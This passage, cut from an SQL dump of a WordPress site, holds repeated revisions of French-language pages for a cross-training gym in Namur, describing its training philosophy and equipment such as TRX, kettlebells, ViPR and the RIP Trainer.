&lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 10:02:09', '2013-06-16 10:02:09', '', 5, 'http://www.crosstrainingcenter.be/?p=46', 0, 'revision', '', 0),
(48, 1, '2013-06-16 10:05:33', '2013-06-16 10:05:33', 'Selon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle, en privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis. Ce dosage subtil définit la qualité de l\'entraînement. Ces 3 buts sont :\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-45\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x127.png\&quot; width=\&quot;300\&quot; height=\&quot;127\&quot; /&gt;&lt;/a&gt;\r\n\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p align=\&quot;center\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 10:05:33', '2013-06-16 10:05:33', '', 5, 'http://www.crosstrainingcenter.be/?p=48', 0, 'revision', '', 0),
(50, 1, '2013-06-16 10:09:07', '2013-06-16 10:09:07', 'Selon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle, en privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis. Ce dosage subtil définit la qualité de l\'entraînement. Ces 3 buts sont :\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-45\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x127.png\&quot; width=\&quot;300\&quot; height=\&quot;127\&quot; /&gt;&lt;/a&gt;\r\n\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p align=\&quot;center\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 10:09:07', '2013-06-16 10:09:07', '', 5, 'http://www.crosstrainingcenter.be/?p=50', 0, 'revision', '', 0),
(51, 1, '2013-06-16 10:14:10', '2013-06-16 10:14:10', 'Selon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle, en privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis. Ce dosage subtil définit la qualité de l\'entraînement. Ces 3 buts sont :\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-45\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x127.png\&quot; width=\&quot;300\&quot; height=\&quot;127\&quot; /&gt;&lt;/a&gt;\r\n\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p align=\&quot;center\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 10:14:10', '2013-06-16 10:14:10', '', 5, 'http://www.crosstrainingcenter.be/?p=51', 0, 'revision', '', 0),
(54, 1, '2013-06-16 08:04:06', '2013-06-16 08:04:06', '« Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines. Afin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …). Nous vous invitons à les découvrir ci-dessous. »\r\n&lt;h2&gt;TRX Suspension Training&lt;/h2&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.\r\n&lt;h2&gt;Kettlebel&lt;/h2&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.\r\n&lt;h2&gt;ViPR&lt;/h2&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.\r\n&lt;h2&gt;RIP Trainer&lt;/h2&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-06-16 08:04:06', '2013-06-16 08:04:06', '', 22, 'http://www.crosstrainingcenter.be/?p=54', 0, 'revision', '', 0),
(55, 1, '2013-06-16 10:42:17', '2013-06-16 10:42:17', '&lt;blockquote&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …). Nous vous invitons à les découvrir ci-dessous. »\r\n&lt;h2&gt;TRX Suspension Training&lt;/h2&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.\r\n&lt;h2&gt;Kettlebel&lt;/h2&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.\r\n&lt;h2&gt;ViPR&lt;/h2&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.\r\n&lt;h2&gt;RIP Trainer&lt;/h2&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-06-16 10:42:17', '2013-06-16 10:42:17', '', 22, 'http://www.crosstrainingcenter.be/?p=55', 0, 'revision', '', 0),
(56, 1, '2013-06-16 10:43:00', '2013-06-16 10:43:00', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …). Nous vous invitons à les découvrir ci-dessous. »\r\n&lt;h2&gt;TRX Suspension Training&lt;/h2&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.\r\n&lt;h2&gt;Kettlebel&lt;/h2&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.\r\n&lt;h2&gt;ViPR&lt;/h2&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.\r\n&lt;h2&gt;RIP Trainer&lt;/h2&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-06-16 10:43:00', '2013-06-16 10:43:00', '', 22, 'http://www.crosstrainingcenter.be/?p=56', 0, 'revision', '', 0),
(57, 1, '2013-06-16 10:44:43', '2013-06-16 10:44:43', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …). Nous vous invitons à les découvrir ci-dessous. »\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;TRX Suspension Training&lt;/h2&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.\r\n&lt;h2&gt;Kettlebel&lt;/h2&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.\r\n&lt;h2&gt;ViPR&lt;/h2&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.\r\n&lt;h2&gt;RIP Trainer&lt;/h2&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-06-16 10:44:43', '2013-06-16 10:44:43', '', 22, 'http://www.crosstrainingcenter.be/?p=57', 0, 'revision', '', 0),
(58, 1, '2013-06-16 10:45:34', '2013-06-16 10:45:34', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …). Nous vous invitons à les découvrir ci-dessous. »\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&lt;table style=\&quot;width: 100%\&quot;&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;padding:5px;\&quot;&gt;1\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;padding:5px;\&quot;&gt;2\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;padding:5px;\&quot;&gt;3\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;padding:5px;\&quot;&gt;4\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/table&gt;                 \r\n\r\n\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;TRX Suspension Training&lt;/h2&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.\r\n&lt;h2&gt;Kettlebel&lt;/h2&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.\r\n&lt;h2&gt;ViPR&lt;/h2&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.\r\n&lt;h2&gt;RIP Trainer&lt;/h2&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-06-16 10:45:34', '2013-06-16 10:45:34', '', 22, 'http://www.crosstrainingcenter.be/?p=58', 0, 'revision', '', 0),
(59, 1, '2013-06-16 10:46:19', '2013-06-16 10:46:19', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …). Nous vous invitons à les découvrir ci-dessous. »\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&lt;table style=\&quot;width: 100%\&quot;&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border:0px;width: 50%;padding:5px;\&quot;&gt;1\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border:0px;width: 50%;padding:5px;\&quot;&gt;2\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border:0px;width: 50%;padding:5px;\&quot;&gt;3\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border:0px;width: 50%;padding:5px;\&quot;&gt;4\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/table&gt;                 \r\n\r\n\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;TRX Suspension Training&lt;/h2&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.\r\n&lt;h2&gt;Kettlebel&lt;/h2&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.\r\n&lt;h2&gt;ViPR&lt;/h2&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.\r\n&lt;h2&gt;RIP Trainer&lt;/h2&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-06-16 10:46:19', '2013-06-16 10:46:19', '', 22, 'http://www.crosstrainingcenter.be/?p=59', 0, 'revision', '', 0),
(63, 1, '2013-06-16 10:53:44', '2013-06-16 10:53:44', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …). Nous vous invitons à les découvrir ci-dessous. »\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\ntito&lt;br&gt;\r\ntoto&lt;br&gt;\r\nproute\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;h2&gt;TRX Suspension Training&lt;/h2&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.\r\n&lt;h2&gt;Kettlebel&lt;/h2&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.\r\n&lt;h2&gt;ViPR&lt;/h2&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.\r\n&lt;h2&gt;RIP Trainer&lt;/h2&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-06-16 10:53:44', '2013-06-16 10:53:44', '', 22, 'http://www.crosstrainingcenter.be/?p=63', 0, 'revision', '', 0);
INSERT INTO `wp_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES
(60, 1, '2013-06-16 10:48:24', '2013-06-16 10:48:24', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …). Nous vous invitons à les découvrir ci-dessous. »\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%; padding: 5px;\&quot;&gt;\r\n\r\n&lt;table style=\&quot;border:1px;width: 100%\&quot;&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border:0px;width: 50%;padding:5px;\&quot;&gt;imgimgimg\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border:0px;width: 50%;padding:5px;\&quot;&gt;Conçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/table&gt;  \r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%; padding: 5px;\&quot;&gt;2&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%; padding: 5px;\&quot;&gt;3&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%; padding: 5px;\&quot;&gt;4&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n&lt;h2&gt;TRX Suspension Training&lt;/h2&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force 